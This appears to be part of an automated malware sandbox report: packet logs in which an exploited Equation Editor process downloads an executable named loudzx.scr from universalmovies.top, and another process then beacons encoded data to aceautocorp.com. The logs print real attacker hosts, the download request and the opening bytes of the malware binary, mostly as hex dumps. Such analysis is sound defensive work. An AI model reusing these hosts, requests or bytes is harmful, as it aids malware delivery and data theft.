e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 [TRUNCATED] Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g38rapddXl=jQQvpyX%'0XT2Z!"pW=E79tL>Jv5`Y+ilPpS:E[R6+\|J?/Gu= cL)v%w]>>1zH}7j5h7\lQM;NiK7p^ucBN6_m},5Ce{fQoPnz]y8v3<&{iy<oD87yW$7D;qe;z;lhBjr$c:ysDuuVQ=Ya1<)pP:D?^7pYtd(1]0m&1oyWhR7(+?KU{^C+"c<y'YQkpf1N\|fmpW>nlz4k_\+)weabmC_t'Ljk_1xbZ9!TxT=,OMV$9oO2Qk5wVlv"ju}OFE:I
May 20, 2024 08:55:44.031785011 CEST	224	IN	Data Raw: ff fe ae f2 bb c6 15 b4 9f b2 34 36 8d 88 04 d3 83 e4 ba 7d b9 fd b8 4b 8d 6b 26 6d 11 2e 93 81 0b 07 ba 98 b1 dd d2 4c d5 32 49 81 73 db 89 1d da fd 86 dd 10 9e b1 14 44 ca bf b1 05 c1 18 b3 15 9a ef 07 5a 56 ab 41 37 55 11 ff a5 a6 85 ff 18 fb Data Ascii: 46}Kk&m.L2IsDZVA7UC[-zRpWjc{V}fMeSj(70QD/_x"V2/U#+n`tB(E$C(+\|fiZcRuzIT>PD
May 20, 2024 08:55:44.036679029 CEST	1236	IN	Data Raw: 62 ac 89 87 a1 c2 43 8e 01 d5 48 7b d6 67 58 7a e6 6c 5d 69 e2 59 a3 5b 6d ab 1b 4e 3a a6 c5 d8 7a cf a9 7a 3c b3 fa f7 f4 0f 6b 8e 9d d3 ab 55 60 2a 74 19 7f aa d4 6a 8f e5 ed 11 0e 11 57 3d 49 65 9d e4 8c b9 17 32 30 07 d2 ac 26 b9 47 d5 f4 2c Data Ascii: bCH{gXzl]iY[mN:zz<kU`tjW=Ie20&G,'._WfK@fCyq[GQnd2C6`2Y-eA}ut~Z!]to*hOxqZoc[kYA1NFnOtI~IX<Z}_r
May 20, 2024 08:55:44.036700010 CEST	224	IN	Data Raw: 74 07 c3 39 ad b3 18 83 9a 20 f6 ac ea 3c ad ab 9e c7 aa a9 0d 55 29 c5 a2 32 3a ef e8 85 8c 4f 3e be df 6c 7b b1 f6 f1 cf b9 d4 c7 23 bd 49 10 f5 d7 4e b7 b6 89 e9 89 e8 95 c3 03 41 a5 b4 7f 89 73 48 a5 d9 3f 46 08 ba a2 da a6 3c 53 8d fb 99 03 Data Ascii: t9 <U)2:O>l{#INAsH?F<SwO&c7Fp7VTsM-\%9Cx4{u]fV2^#P>FTLE!\L(q7vUk>u&LYS^+(QfyH5BR^
May 20, 2024 08:55:44.041630030 CEST	1236	IN	Data Raw: 96 96 45 9e 28 a8 9c 28 1e 41 4f 2d b2 dc e8 7e bd ca e2 34 38 ed 0f 73 26 c7 c1 2b 3d b0 e2 aa 04 10 e9 44 ee 55 b8 83 ed 86 1f 24 ea 0f 7f c6 e6 10 ea 67 9e d6 f1 4e d1 8e d1 31 dd 54 47 91 5b f4 32 85 36 5d ab be 0e 82 6c 02 3d 66 de 99 3b 5e Data Ascii: E((AO-~48s&+=DU$gN1TG[26]l=f;^qR2^,MyYym)dPsJ3?fdI,1!P]3\h2keeqd7/2bFg%\u(dS;s-w6G$J"191]+iKiRN
May 20, 2024 08:55:44.041649103 CEST	224	IN	Data Raw: dc 85 7d a6 3b 77 0d 9d fd b3 67 3d ea 4d 0d d4 1b 77 74 81 b9 46 80 ab d9 74 fc d7 e4 9a 94 27 85 e8 0d 2b 0b f9 67 16 88 30 6e f4 9e dc 72 de f0 2c 22 b7 3c c9 43 1d e2 90 8f 1e 4f 76 ec 35 fd 47 96 e4 12 c4 47 c3 48 4b fd 67 18 a5 52 b4 3b 88 Data Ascii: };wg=MwtFt'+g0nr,"<COv5GGHKgR;;rviup;KNuZj]mkkNJwg[Ij:ratJGWUE>0y=x!A<Y5"VZrtr6.Y,
May 20, 2024 08:55:44.041678905 CEST	1236	IN	Data Raw: 5e 23 17 28 4c 15 14 1c 91 d1 80 4f be ca 63 2a 3a 4d 36 aa 0e 87 fe 65 0b 14 dc e4 2b 5a bd ac 0b 3a 1e 37 df ea a1 a1 73 13 6b 74 2a 61 9d ce 17 94 4c 36 e8 97 29 c3 69 31 69 71 06 aa e6 cc da 66 75 7a e3 d8 c6 3b dd d0 44 4e 50 e8 90 05 c2 52 Data Ascii: ^#(LOc:M6e+Z:7sktaL6)i1iqfuz;DNPR9EOWP,#]6K6<,w[+XJnj8TZ1vmQ%d{2)PTfy3Ul<pnI(hV:G\E(Rl`glmZ5pS?kd
May 20, 2024 08:55:44.041696072 CEST	224	IN	Data Raw: ad 02 d0 83 86 f5 04 44 60 e6 3e ef 80 3c b2 f1 ba 2e e0 5e d9 c6 60 d3 14 70 05 4a 3a 2b 60 34 ca 50 af b7 8e 12 f8 e2 fb b5 ef af aa 7e 5c 97 fd 6c 86 53 1e aa ce 7a e8 2c cc 36 a7 ce 8f 4c c0 e9 bd d1 70 ea 08 1c 74 7f d6 76 e5 8b c2 a0 4f fa Data Ascii: D`><.^`pJ:+`4P~\lSz,6LptvO+{o=O&zt#6zUsQoQ0Jsb~5h?ve]?]\|DGz1H`@@J#Xw;yh-r
May 20, 2024 08:55:44.051379919 CEST	1236	IN	Data Raw: d8 0d 81 a8 5b a7 e9 7c c1 f8 6f 08 55 3d ac 1a c2 1b a2 34 7a db d9 f8 0d 71 3d a1 bc b3 d9 1b 92 21 c1 2f 1d 05 1f e8 e2 30 48 e9 2f 2f dc 52 7d 01 63 b4 e0 76 4b 8e 32 cb 04 27 f0 b5 2a 26 29 c0 b4 8b a3 05 88 a9 85 f0 ce 4a 31 7f da a9 e8 22 Data Ascii: [\|oU=4zq=!/0H//R}cvK2'*&)J1"n_KC:,)O%vk9.fN.LoC$N0&4E4>:}l&53=#B\2p.`@2&#h^LXa3i\r`Y<
May 20, 2024 08:55:44.051399946 CEST	224	IN	Data Raw: 6e 14 22 b4 95 b9 51 89 dc 82 e6 46 31 bf 76 75 bd 10 8f d3 da e6 47 37 76 1b 9c 73 71 46 6b 99 f3 ad 9e d1 da eb 9c b3 17 a7 15 cf 99 5c 40 db 9e 1b 8d 80 16 3f 57 f4 80 f6 36 37 0a 11 a4 83 dc a9 04 c9 0c f9 7b df f6 36 37 1a 81 f2 45 ce af 00 Data Ascii: n"QF1vuG7vsqFk\@?W67{67E#o/%bvb$&INB1rCr&IN/Oq7rn\|IL\;D5DC~=Ln{C\|^!AN>@.9nc!YfKaJ
May 20, 2024 08:55:44.053814888 CEST	1236	IN	Data Raw: 4e ba 3a 56 10 7e 30 cf 77 19 99 e7 97 ac 60 22 ce b4 45 33 3f cf 31 91 d1 a8 05 a6 d6 65 9d be 6e 92 e8 22 e1 ac 67 81 46 eb 39 d6 b5 40 1a 6e 6e e8 b2 65 cf 2f 2d 6e 54 67 7b 24 5b a1 e7 47 da 01 e9 f7 46 9e 71 66 ab d3 95 a6 82 f3 ae 87 60 7d Data Ascii: N:V~0w`"E3?1en"gF9@nne/-nTg{$[GFqf`}5Fc-GKs?JEC\8(oriaDNG}O;A2tidNg}O;+zbu.\?$15\cRd\gtFc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49182	198.12.241.35	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:45.819449902 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3625 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 69 4e 76 61 39 65 48 57 2f 70 74 72 5a 4e 46 76 61 35 50 41 4e 45 69 74 78 74 79 41 6f 32 37 36 78 74 65 72 68 75 44 4f 6e 6b 74 4c 51 76 58 67 63 61 5a 61 6c 4f 55 73 4f 35 4a 63 76 63 56 32 2b 35 35 57 37 72 2f 4a 79 77 75 51 46 6f 44 62 64 51 37 55 47 4b 46 73 57 55 68 4c 76 4d 43 73 79 57 67 68 65 76 69 6b 51 43 4a 33 51 31 5a 39 65 6d 49 43 70 63 38 71 43 44 4a 73 41 75 76 63 6f 63 46 47 4f 59 2b 78 32 66 47 4a 65 51 61 51 4e 4e 77 78 6a 4d 72 79 62 6c 68 6b 31 39 47 6c 4b 5a 36 45 62 2f 64 58 61 52 37 47 79 75 75 66 50 36 54 71 4b 6f 56 61 46 32 54 63 59 56 6d 43 39 75 6f 76 53 6e 47 6d 7a 57 4f 31 59 49 2f 44 52 52 50 70 6e 41 6c 49 64 52 65 66 36 79 62 51 6d 77 6d 38 50 63 61 6a 59 33 7a 59 2f 35 57 48 6f 71 48 37 65 71 75 4e 4c 39 47 54 65 2f 64 54 31 77 66 36 64 4c 6d 48 38 33 2f 45 57 35 7a 6c 50 4a 47 6a 62 35 46 68 56 79 58 4e 56 45 51 37 71 31 41 32 65 37 58 7a 4e 71 39 55 4a 45 37 59 56 77 72 42 77 30 68 75 39 75 32 2f 61 39 4d 65 44 [TRUNCATED] Data Ascii: 84O0=mC8lfqMH3K9OiNva9eHW/ptrZNFva5PANEitxtyAo276xterhuDOnktLQvXgcaZalOUsO5JcvcV2+55W7r/JywuQFoDbdQ7UGKFsWUhLvMCsyWghevikQCJ3Q1Z9emICpc8qCDJsAuvcocFGOY+x2fGJeQaQNNwxjMryblhk19GlKZ6Eb/dXaR7GyuufP6TqKoVaF2TcYVmC9uovSnGmzWO1YI/DRRPpnAlIdRef6ybQmwm8PcajY3zY/5WHoqH7equNL9GTe/dT1wf6dLmH83/EW5zlPJGjb5FhVyXNVEQ7q1A2e7XzNq9UJE7YVwrBw0hu9u2/a9MeDg3BxwwnvxmQU2cRcb0ZoTOGvu8J+ZjdDZ87Ilc/yRlVblbceoFudcmJQKzLuClsA1FBpobw8PEMhuN7Bf9tpF0S1qkOdG75O+DYuoP3+X5ESJlF/OS0AVwXWRRhpj0nZZO1PQIZn1ZwF98WYw59GgQwLnScbcC27jd3jHHIDFKrO8/TZyykAbaNKIpcVfGxvA2BF/ah+vn1QFoug08M2JnfrpfUWIJWDcUqq4RxT6HPMJVCLrMQErtG3BZNsXW3Ugbm3G7W3ySdaNqHQEEmayKa34fJFgZSBl67cy31ZoQ6JGvlfl3Vu+82K9e0u/wvF7lAvlzGFqJx0uGP6mlEr7v/2SaKdMYN8o1wf1O7y0bC70jBtwdaKWKGEy6aJH6jDvsQuPWBPEVFPrXtQUxTpNAdu7gOmBIQQHfFmtR9HQlKoGJkaoRvq7np5DmuKuWT4DEgS18dCo5M7kFOp0g4YLqKpYvL0it/nrO6rA/LANXJT51zhN9tzR9fwSGbA4GZzOHfmkmhjA+avfY2R/KtpLfbi4ZxU81Mv5SrcU0vsmZZOxwSfBH3Gs4Ta001fkXHFjFzbrIXs/jBtNPKTvWzbc0HFwDKD9jh754yeH4tRP2H8dfrClNVvGuvHpBnx6Vk9A3mJnEgQVU6voRJdDVMEB4GDAbFPu+0gMf [TRUNCATED]
May 20, 2024 08:55:45.824445009 CEST	1684	OUT	Data Raw: 55 4d 6a 6e 4a 55 78 4e 63 45 76 6a 6f 36 51 46 58 42 43 43 2b 67 30 54 5a 76 72 35 68 6a 65 71 42 38 4a 7a 54 33 33 46 63 48 48 41 4a 45 76 32 6e 66 78 73 36 53 4b 2b 78 56 74 6a 55 36 50 65 6e 33 62 6f 78 6a 47 33 32 43 5a 2f 6a 44 52 51 6b 46 Data Ascii: UMjnJUxNcEvjo6QFXBCC+g0TZvr5hjeqB8JzT33FcHHAJEv2nfxs6SK+xVtjU6Pen3boxjG32CZ/jDRQkF/o9G/CwztzQW8XyHbqBPjkkBSOfSg5AA4M/3qOm3wzqhY06RWeJ8uNwH277GYIHyLxkHQcMgT9xjaJcQyh1pPoazLXTv5+y5vjkfEwdG8cyxLT0ZOdrNM/CZC6bEkCdzV5k6zZOSeqTADyWzSvJ1f6UbHrho4LYyP
May 20, 2024 08:55:46.535566092 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 20 May 2024 06:55:46 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9730 Content-Type: text/html; charset=UTF-8 Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 [TRUNCATED] Data Ascii: SC@E`:H@XZgiN~=%n(@_c2$Y2,9zypN1$g38rapddXl=jQQvpyX%'0XT2Z!"pW=E79tL>Jv5`Y+ilPpS:E[R6+\|J?/Gu= cL)v%w]>>1zH}7j5h7\lQM;NiK7p^ucBN6_m},5Ce{fQoPnz]y8v3<&{iy<oD87yW$7D;qe;z;lhBjr$c:ysDuuVQ=Ya1<)pP:D?^7pYtd(1]0m&1oyWhR7(+?KU{^C+"c<y'YQkpf1N\|fmpW>nlz4k_\+)weabmC_t'Ljk_1xbZ9!TxT=,OMV$9oO2Qk5wVlv"ju}OFE:I
May 20, 2024 08:55:46.537499905 CEST	1236	IN	Data Raw: ff fe ae f2 bb c6 15 b4 9f b2 34 36 8d 88 04 d3 83 e4 ba 7d b9 fd b8 4b 8d 6b 26 6d 11 2e 93 81 0b 07 ba 98 b1 dd d2 4c d5 32 49 81 73 db 89 1d da fd 86 dd 10 9e b1 14 44 ca bf b1 05 c1 18 b3 15 9a ef 07 5a 56 ab 41 37 55 11 ff a5 a6 85 ff 18 fb Data Ascii: 46}Kk&m.L2IsDZVA7UC[-zRpWjc{V}fMeSj(70QD/_x"V2/U#+n`tB(E$C(+\|fiZcRuzIT>PDbCH{gXzl]
May 20, 2024 08:55:46.542284012 CEST	1236	IN	Data Raw: a6 e9 d1 fc 4e 09 48 a9 91 16 4d ba 79 e1 14 a5 86 ac d9 d2 85 4c db 63 05 70 d3 54 cc 0b ca a1 7b 43 51 ef 54 7c 9d 4f eb 7b 40 8e 18 dc 1b 05 6b 5f 0a 1f ee bd 81 47 8d 7f 70 54 56 9d d9 53 78 45 32 a0 47 04 43 b6 0e db d3 64 59 85 0c 30 6c cb Data Ascii: NHMyLcpT{CQT\|O{@k_GpTVSxE2GCdY0l_-5%cB_^hb0>(M\{m`G1HVW.$+:c\b&8/J0\|;W4z1cZ[:x.Ge0f,RLt9 <
May 20, 2024 08:55:46.542306900 CEST	1236	IN	Data Raw: 2c de 7a 12 5b 3b 16 17 23 25 46 6e 21 5b fa fb 49 2b 66 f4 ca 86 64 84 b2 e8 65 7a ea c8 f3 86 57 00 de 59 2c 12 a6 dc 18 10 09 71 50 d4 65 3d 97 1f 07 70 05 41 59 f0 64 85 60 66 41 07 51 82 55 b1 12 7e f6 88 b7 b2 b3 18 4d b3 4a 65 f5 6b 59 df Data Ascii: ,z[;#%Fn![I+fdezWY,qPe=pAYd`fAQU~MJekY2&5\|W\|pWb`u.X0q6R2\t};'TZ'Ekbyw:#:r/6k9);L2wh<kA`nRHRy5
May 20, 2024 08:55:46.551820040 CEST	1236	IN	Data Raw: 35 7d 2b 04 c9 0e de 40 a2 c4 6d 52 c0 6d be 8b 85 4e 27 8c 1e 87 ac 48 f2 6b 4f b4 b5 50 59 cc ca b3 7a 5f 01 b7 e2 2a 00 15 69 66 49 78 1d 82 bc 25 cc 3e 47 e0 01 99 aa fb 46 58 69 ce 73 ad 76 1a 11 23 be ce 6b a9 f2 9c 9f e0 fb 3a 6f b2 44 84 Data Ascii: 5}+@mRmN'HkOPYz_*ifIx%>GFXisv#k:oD5l~wU5>x(,VjIS(~(%RD`6\|@1DaXC(=3"BjO#M,&6lC9;~$JH\|ZfVIND
May 20, 2024 08:55:46.551840067 CEST	1236	IN	Data Raw: d3 e3 ba db 3b 9c a9 1b 29 ab 3c 1a 8c b4 67 52 69 00 ac 71 98 60 ac 50 02 6b ca ca 6a 76 5a a5 3e d2 40 44 63 c1 55 52 bd 0c 78 22 43 f8 29 c2 04 b6 6b 9e d2 5b 22 88 06 25 89 4b 5a 6f b9 b0 9a 91 41 01 14 ee da 0e 65 3c 0f 08 48 45 17 b3 a4 dc Data Ascii: ;)<gRiq`PkjvZ>@DcURx"C)k["%KZoAe<HEh&>Qx])Vb{>!K ;+Kjj%\|9_]9*Wps@'N2>Dw'>7\(_:FtL,\`Yu.t
May 20, 2024 08:55:46.561337948 CEST	1236	IN	Data Raw: 43 07 5c 38 e1 0d 28 6f df 07 72 da 69 d9 07 e1 b4 d3 61 1f 44 d3 4e 47 7d 10 4f 3b 1d f7 41 32 ed 74 d2 07 e9 b4 d3 69 1f 64 d3 4e 67 7d 90 4f 3b 9d ff 2b 10 fc bc 7a c1 cf eb 62 75 af 2e 5c 3f c8 c9 f9 8b 06 04 d5 da 24 31 35 fa 5c 9c 16 b5 03 Data Ascii: C\8(oriaDNG}O;A2tidNg}O;+zbu.\?$15\cRd\gtFc8khbbGDobzha+M]<(x^ap#;Jf\a$y/'Tijc^ej,X9=VuMJ_
May 20, 2024 08:55:46.564086914 CEST	1236	IN	Data Raw: d8 6d 5b 3a 5b 17 27 db 07 b8 f3 ec 73 c5 37 f4 08 7f d1 83 7f fb 6b b6 35 27 bb 71 71 ba 51 3a dd a0 94 a6 1b dd 32 fa ef e1 89 5b bb 5e ff 6c f0 21 ae 1f 3c b9 b4 68 7c c1 c5 b4 ad 5c 63 68 09 3b a0 7c b0 0e 53 a6 e0 66 4d 7d 56 9a ad a7 b1 9a Data Ascii: m[:['s7k5'qqQ:2[^l!<h\|\ch;\|SfM}VnnD'FWUqnm$k27;Ey1-].i"]_x8`=i3`O!E[2MeX(RQYzk].fpYV~grj
May 20, 2024 08:55:46.564125061 CEST	259	IN	Data Raw: 3b f8 45 7b db 1f e8 a0 eb 60 c8 aa b1 87 93 6f 0f e9 b2 55 36 29 37 dd 0d bf e9 da eb 06 5a a0 1c 73 16 49 86 4f 13 b3 a6 85 ce bf 7e 78 b3 c4 db 9b 4c 25 cc a4 7c 1a d6 80 69 00 65 61 44 4b 5c e1 ce 02 17 e5 d2 02 b1 d0 e7 72 7d f0 2e 6c 50 96 Data Ascii: ;E{`oU6)7ZsIO~xL%\|ieaDK\r}.lPhzmih4fE\|\*'5%W>\|V_c:CSf]S[:m=B{&b/48N5Mk8eM`mgu@opl'X&J`9TcHR2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49183	198.12.241.35	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:48.350016117 CEST	469	OUT	GET /ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.aceautocorp.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 20, 2024 08:55:49.007123947 CEST	549	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 20 May 2024 06:55:48 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://aceautocorp.com/ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	104.21.74.191	443	1596	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-05-20 06:53:37 UTC	316	OUT	GET /loudzx.scr HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: universalmovies.top Connection: Keep-Alive
2024-05-20 06:53:38 UTC	779	IN	HTTP/1.1 200 OK Date: Mon, 20 May 2024 06:53:38 GMT Content-Type: application/x-silverlight Content-Length: 1273344 Connection: close Last-Modified: Mon, 20 May 2024 00:08:13 GMT ETag: "136e00-618d77f4db231" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d7IPBJrMoqBn980ApDnET%2FyVpNh6ApfvRLq0wLzNRf9CY%2BjEya2%2BW3DOEfnlWjsYfbyKUMa%2F57GE8IuY3BgKSzQHLx%2FyfIH24I%2BG6LbFS%2FljDQMKZEbGBAQgRqiChrOIVUNfRzT7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 886a69289df50c7a-EWR alt-svc: h3=":443"; ma=86400
2024-05-20 06:53:38 UTC	590	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 32 3e 2b cc 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 62 13 00 00 0a 00 00 00 00 00 00 3e 81 13 00 00 20 00 00 00 a0 13 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2>+"0b> @ `
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 00 00 62 00 00 00 1a 00 00 00 84 00 00 00 00 00 00 00 25 00 00 00 24 00 00 00 26 00 00 00 00 00 00 00 6f 00 00 00 19 00 00 00 10 00 00 00 84 00 00 00 1b 00 00 00 00 00 00 00 0d 00 00 00 18 00 00 00 5e 00 00 00 6f 00 00 00 19 00 00 00 08 00 00 00 62 00 00 00 1a 00 00 00 53 00 00 00 00 00 00 00 35 00 00 00 22 00 00 00 1b 00 00 00 18 00 00 00 16 00 00 00 14 00 00 00 13 00 00 00 12 00 00 00 11 00 00 00 11 00 00 00 10 00 00 00 10 00 00 00 0f 00 00 00 0f 00 00 00 0e 00 00 00 0e 00 00 00 0e 00 00 00 0e 00 00 00 0e 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0d 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 0c 00 00 00 00 00 00 00 18 00 00 00 5e 00 00 00 6f 00 00 00 19 Data Ascii: b%$&o^obS5"^o
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 00 00 01 2a 0a 14 2a 1e 02 28 79 00 00 0a 2a 32 17 73 7a 00 00 0a 80 53 00 00 04 2a 3a 02 28 57 00 00 0a 02 03 7d 5b 00 00 04 2a 1e 03 14 51 04 14 51 2a 96 03 72 ba 17 00 70 28 7b 00 00 0a 2c 0d 02 7b 5b 00 00 04 17 28 7c 00 00 0a 2a 20 1f 30 13 80 73 1e 0f 00 06 7a 06 2a 2a 03 6f f9 0e 00 06 16 fe 03 2a 82 02 03 28 db 0a 00 06 02 1f 20 73 08 0b 00 06 7d 62 00 00 04 02 73 7d 00 00 0a 7d 63 00 00 04 2a 36 02 03 05 04 1f 10 60 73 42 07 00 06 2a 22 1f 33 73 e7 06 00 06 7a 46 02 28 e6 0a 00 06 74 97 00 00 02 6f fe 05 00 06 2a 46 02 28 e6 0a 00 06 74 97 00 00 02 6f ff 05 00 06 2a 4a 02 7b 62 00 00 04 03 6f 0e 0b 00 06 74 15 00 00 01 2a 4a 02 7e cd 02 00 04 72 10 18 00 70 17 28 ca 0a 00 06 2a 56 02 03 72 10 18 00 70 17 28 ca 0a 00 06 02 16 7d 73 04 00 04 2a 22 Data Ascii: *(y2szS:(W}[QQrp({,{[(\| 0sz*o( s}bs}}c6`sB"3szF(toF(toJ{botJ~rp(Vrp(}s*"
2024-05-20 06:53:38 UTC	1369	IN	Data Raw: 7c 00 00 04 03 84 6f 90 00 00 0a 2a 32 02 7b 75 00 00 04 8c e7 00 00 01 2a 2e 20 b0 13 00 00 73 e7 06 00 06 7a 86 0e 05 0e 06 2e 0b 20 bd 01 00 00 73 e7 06 00 06 7a 02 03 04 05 0e 04 0e 05 0e 06 28 87 00 00 06 2a 1e 02 7b 7c 00 00 04 2a 3a 02 28 57 00 00 0a 02 03 7d 7e 00 00 04 2a 6e 02 03 7b 83 00 00 04 28 c7 00 00 06 02 03 7d 7f 00 00 04 02 16 7d 80 00 00 04 2a 82 02 17 7d 80 00 00 04 02 7b 7f 00 00 04 02 6f d2 03 00 06 02 7b 7f 00 00 04 6f d5 00 00 06 26 2a 6a 02 7b 80 00 00 04 2d 10 02 7b 83 00 00 04 20 e1 04 00 00 6f 3f 03 00 06 02 2a 5a 02 03 28 c7 00 00 06 02 04 7d 81 00 00 04 02 05 7d 82 00 00 04 2a 36 02 7b 82 00 00 04 03 6f d2 00 00 06 2a 66 02 7b 81 00 00 04 03 6f e0 00 00 06 02 7b 82 00 00 04 03 6f e0 00 00 06 2a 3a 02 28 57 00 00 0a 02 03 7d Data Ascii: 